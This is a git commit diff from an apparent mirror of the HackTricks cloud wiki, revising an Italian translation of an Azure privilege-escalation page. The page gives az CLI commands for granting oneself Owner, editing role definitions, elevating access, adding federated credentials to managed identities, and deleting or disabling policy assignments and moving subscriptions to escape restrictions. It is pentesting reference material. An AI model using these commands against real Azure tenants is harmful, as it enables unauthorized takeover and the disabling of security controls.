mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-29 14:13:20 -08:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure IAM
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-azuread.md
|
||||
@@ -12,14 +12,14 @@ Per ulteriori informazioni controlla:
|
||||
|
||||
### Microsoft.Authorization/roleAssignments/write
|
||||
|
||||
Questo permesso consente di assegnare ruoli ai principi su un ambito specifico, consentendo a un attaccante di elevare i privilegi assegnando a se stesso un ruolo più privilegiato:
|
||||
Questa autorizzazione consente di assegnare role a principal su uno scope specifico, permettendo a un attacker di scalare i privilegi assegnandosi un role più privilegiato:
|
||||
```bash
|
||||
# Example
|
||||
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
|
||||
```
|
||||
### Microsoft.Authorization/roleDefinitions/Write
|
||||
|
||||
Questo permesso consente di modificare i permessi concessi da un ruolo, permettendo a un attaccante di elevare i privilegi concedendo più permessi a un ruolo che ha assegnato.
|
||||
Questa permission permette di modificare le permissions concesse a un role, permettendo a un attacker di escalate privileges concedendo più permissions a un role che ha assegnato.
|
||||
|
||||
Crea il file `role.json` con il seguente **contenuto**:
|
||||
```json
|
||||
@@ -42,10 +42,10 @@ az role definition update --role-definition role.json
|
||||
```
|
||||
### Microsoft.Authorization/elevateAccess/action
|
||||
|
||||
Questa autorizzazione consente di elevare i privilegi e di poter assegnare permessi a qualsiasi principale per le risorse Azure. È destinata a essere concessa agli Amministratori Globali di Entra ID in modo che possano gestire anche i permessi sulle risorse Azure.
|
||||
Questa autorizzazione consente di elevare i privilegi e di assegnare permessi a qualsiasi principal sulle risorse Azure. È pensata per essere assegnata agli Entra ID Global Administrators in modo che possano anche gestire le autorizzazioni sulle risorse Azure.
|
||||
|
||||
> [!TIP]
|
||||
> Penso che l'utente debba essere Amministratore Globale in Entra ID affinché la chiamata di elevazione funzioni.
|
||||
> Penso che l'utente debba essere Global Administrator in Entra ID affinché la chiamata elevate funzioni.
|
||||
```bash
|
||||
# Call elevate
|
||||
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
|
||||
@@ -55,9 +55,9 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
|
||||
```
|
||||
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
|
||||
|
||||
Questo permesso consente di aggiungere credenziali federate alle identità gestite. Ad esempio, consente di dare accesso a Github Actions in un repository a un'identità gestita. Quindi, consente di **accedere a qualsiasi identità gestita definita dall'utente**.
|
||||
Questa autorizzazione permette di aggiungere Federated credentials alle managed identities. Ad esempio, concedere l'accesso a Github Actions in un repo a una managed identity. Poi, consente di **accedere a qualsiasi managed identity definita dall'utente**.
|
||||
|
||||
Esempio di comando per dare accesso a un repository in Github a un'identità gestita:
|
||||
Esempio di comando per concedere l'accesso a un repo Github a una managed identity:
|
||||
```bash
|
||||
# Generic example:
|
||||
az rest --method PUT \
|
||||
@@ -71,4 +71,94 @@ az rest --method PUT \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
|
||||
```
|
||||
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
|
||||
|
||||
Un attaccante con il permesso `Microsoft.Authorization/policyAssignments/write` o `Microsoft.Authorization/policyAssignments/delete` su un management group, subscription, o resource group può **modificare o eliminare le assegnazioni di policy di Azure**, potenzialmente **disabilitando restrizioni di sicurezza** che bloccano operazioni specifiche.
|
||||
|
||||
Questo consente l'accesso a risorse o funzionalità che in precedenza erano protette dalla policy.
|
||||
|
||||
**Eliminare un'assegnazione di policy:**
|
||||
```bash
|
||||
az policy assignment delete \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
```
|
||||
**Disabilitare un'assegnazione di policy:**
|
||||
```bash
|
||||
az policy assignment update \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
|
||||
--enforcement-mode Disabled
|
||||
```
|
||||
**Verifica le modifiche:**
|
||||
```bash
|
||||
# List policy assignments
|
||||
az policy assignment list \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
|
||||
# Show specific policy assignment details
|
||||
az policy assignment show \
|
||||
--name "<policyAssignmentName>" \
|
||||
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
|
||||
```
|
||||
### Microsoft.Authorization/policyDefinitions/write
|
||||
|
||||
Un attacker con il permesso `Microsoft.Authorization/policyDefinitions/write` può **modificare le definizioni di policy di Azure**, cambiando le regole che controllano le restrizioni di sicurezza in tutto l'ambiente.
|
||||
|
||||
Ad esempio, una policy che limita le regioni consentite per la creazione di risorse può essere modificata per consentire qualsiasi regione, oppure l'effetto della policy può essere cambiato per renderla inefficace.
|
||||
|
||||
**Modificare una definizione di policy:**
|
||||
```bash
|
||||
az policy definition update \
|
||||
--name "<policyDefinitionName>" \
|
||||
--rules @updated-policy-rules.json
|
||||
```
|
||||
**Verifica le modifiche:**
|
||||
```bash
|
||||
az policy definition list --output table
|
||||
|
||||
az policy definition show --name "<policyDefinitionName>"
|
||||
```
|
||||
### Microsoft.Management/managementGroups/write
|
||||
|
||||
Un aggressore con il permesso `Microsoft.Management/managementGroups/write` può **modificare la struttura gerarchica dei management groups** o **creare nuovi management groups**, potenzialmente eludendo policy restrittive applicate a livelli superiori.
|
||||
|
||||
Ad esempio, un aggressore può creare un nuovo management group senza policy restrittive e poi spostare le subscriptions al suo interno.
|
||||
|
||||
**Crea un nuovo management group:**
|
||||
```bash
|
||||
az account management-group create \
|
||||
--name "yourMGname" \
|
||||
--display-name "yourMGDisplayName"
|
||||
```
|
||||
**Modificare la gerarchia dei management group:**
|
||||
```bash
|
||||
az account management-group update \
|
||||
--name "<managementGroupId>" \
|
||||
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
|
||||
```
|
||||
**Verificare le modifiche:**
|
||||
```bash
|
||||
az account management-group list --output table
|
||||
|
||||
az account management-group show \
|
||||
--name "<managementGroupId>" \
|
||||
--expand
|
||||
```
|
||||
### Microsoft.Management/managementGroups/subscriptions/write
|
||||
|
||||
Un attacker con il permesso `Microsoft.Management/managementGroups/subscriptions/write` può **move subscriptions between management groups**, potenzialmente **evading restrictive policies** spostando una subscription in un gruppo con politiche meno restrittive o assenti.
|
||||
|
||||
**Spostare una subscription in un diverso management group:**
|
||||
```bash
|
||||
az account management-group subscription add \
|
||||
--name "<managementGroupName>" \
|
||||
--subscription "<subscriptionId>"
|
||||
```
|
||||
**Verifica le modifiche:**
|
||||
```bash
|
||||
az account management-group subscription show \
|
||||
--name "<managementGroupId>" \
|
||||
--subscription "<subscriptionId>"
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user